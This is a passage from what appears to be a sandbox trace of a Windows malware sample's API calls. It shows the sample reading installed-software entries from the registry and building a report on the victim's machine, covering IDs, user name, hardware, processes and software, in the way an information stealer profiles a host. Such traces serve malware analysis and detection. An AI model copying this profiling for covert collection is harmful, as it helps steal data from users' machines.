[4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\n"
[0054.976] RegCloseKey (hKey=0x514) returned 0x0
[0054.976] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x36, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{B175520C-86A2-35A7-8619-86DC379688B9}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.976] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}") returned 90
[0054.976] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.977] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", lpcbData=0x1816c0*=0x3e) returned 0x0
[0054.977] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\n", lpString2="Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030"
[0054.977] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="11.0.61030", lpcbData=0x1816c0*=0xb) returned 0x0
[0054.977] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", 